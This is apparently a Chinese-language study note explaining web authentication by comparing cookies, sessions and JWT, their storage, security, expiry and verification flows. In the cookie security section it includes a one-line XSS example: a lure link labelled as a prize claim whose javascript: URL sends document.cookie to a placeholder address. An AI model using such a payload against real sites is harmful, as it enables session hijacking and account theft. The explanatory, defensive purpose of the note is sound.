網頁的身份驗證機制

簡介

  • HTTP 是一個無狀態協議(stateless),不會記住使用者是誰
  • 而是把每一次收到的請求都視為獨立的行為
  • 當需要記住使用者的狀態時,就需要某種機制來辨識用戶

快速比較

CookieSessionJWT
儲存位置用戶端(瀏覽器)伺服器用戶端(local storage or cookie)
安全性相對較低,可以被使用者修改或刪除,可使用 Secure 和 HttpOnly 屬性增加安全性相對較高,使用者無法修改或刪除較安全,使用加密算法保護數據
過期時間通常會設定一段時間後就過期通常會設定一段時間後就過期可以在伺服器設定過期時間或使用 refresh token 延長時效性
資料傳送方式在 http request 裡的 header在 http request 裡的 Header,傳送 session id 回伺服器在 http request 裡的 Header 或 url(不安全)
使用場景偏向於紀錄簡單的資訊,如用戶偏好、購物車資訊適合存放較多的用戶資訊,如用戶 ID、權限等適合在不同的伺服器之間共享身份驗證資訊

是什麼

  • 是伺服器傳送給瀏覽器,並在用戶端下次訪問同一網站時,一同傳回的一小段文字資訊
  • 以 key-value 的方式儲存在瀏覽器內

特性

  • 保存在用戶端
  • 例如儲存使用者的偏好設定、購物車資料等
  • 通常不會儲存隱私相關的機密資訊
  • 有大小數量限制,單個 Cookie 最大 4K,一個網域下最多 20 個

cookie

可自訂到期時間

Session Cookie

  • 瀏覽器關閉即清除

Persistent Cookie

  • 可以設定存在瀏覽器一段時間(明確指定 Cookie 的 Expires 時間)

安全性

  • 在網站上動態渲染任意 HTML 是很危險的,容易導致 XSS 攻擊
  • 可以加上http only限制只有 http 協議可以讀取,無法被 Javascript 取得

範例:偷走你的 cookie (儲存的帳密等等機密資料)

<a href="javascript:location.href='url'+ document.cookie">恭喜中獎,點我前往領獎</a>

session

是什麼

  • 在伺服器端儲存用戶資訊的一種方案
  • 通常會在客戶端的 Cookie 儲存憑證(session ID)

特性

  • 將使用者相關資訊儲存在伺服器,避免被任意修改
  • 在使用者完成身分認證並輸入完所需訊息之後,給予一組特定 ID,存入 Cookie 中傳回用戶端
  • 下一次用戶端發出請求時,便可以利用該 ID 去辨識是否為同一使用者
  • 需要在伺服器端儲存相關的 session 資訊,包括使用者身份、過期時間等等
  • 每次發出請求時,需要頻繁在伺服器端比對 Session ID 和使用者資料

需注意的缺點

  • 增加伺服器的開銷,隨著用戶數量增加,需要儲存的 session 所佔用的資源也會跟著增加
  • 伺服器的擴展性差,如果使用者的 session 儲存在 Server A 上,每次請求都需要 Server A 處理
  • 通常有多台伺服器時,會備份資料以防某一台伺服器故障,這樣就必須保證每台伺服器上的使用者 session 資料是一致的

驗證流程

  1. 當使用者第一次訪問網站時,伺服器會建立一個唯一的 session ID,並將其儲存到伺服器端的記憶體或資料庫中
  2. 伺服器會將此 session ID 回傳給瀏覽器,通常是透過 Cookie 的方式儲存
  3. 當使用者繼續訪問網站時,瀏覽器會將此 session ID 傳回給伺服器
  4. 伺服器會從記憶體或資料庫中尋找此 session ID 對應的使用者狀態,如果找不到就視為未經驗證的訪問
  5. 如果伺服器找到了對應的使用者狀態,就代表此訪問是合法的,並根據使用者狀態進行相應的操作,比如回傳網頁內容或者進行其他的處理

session

JWT (Json Web Token)

是什麼

  • token-based 機制的其中一種實作,以 JSON 物件為主體
  • 通常用於驗證使用者的身份(Authorization)
  • 每次發出需要權限的請求時要帶上給伺服器驗證

組成

  • header:類型、算法,使用 base64 編碼轉換
{  "type": "JWT",  "alg": "HS256"}
  • payload:使用者相關的資訊
{  "name": "Jack",  "grade": "3rd",  "identity": "student"}
  • signature:base64 編譯後的 Header、Payload 與密鑰(secret key)透過雜湊演算法所產生

特性

  • 保存在用戶端(瀏覽器)
  • 一般不會把機密資訊(例如密碼)放在 payload 當中,因為 base64 編碼不是加密
  • 回傳至伺服器只檢查簽名是否正確,不需儲存用戶資料,可減輕伺服器的負擔
  • 不用在 Server 的資料庫存放 Session,特別適合多台 Server 的情境下,使得擴展性容易

驗證流程

  1. 客戶端向伺服器端發送請求,並在 request header 中加入 JWT Token
  2. 伺服器端接收到請求後,從 request header 中讀取 JWT Token
  3. 伺服器端對 JWT Token 進行驗證,包括驗證簽名是否正確、是否過期、是否被篡改等
  4. 驗證成功後,伺服器端可以透過 JWT Token 中的內容,確認使用者的身份,並進行相應的處理
  5. 驗證失敗則拒絕請求,或者返回錯誤訊息

token

參考資料

# Web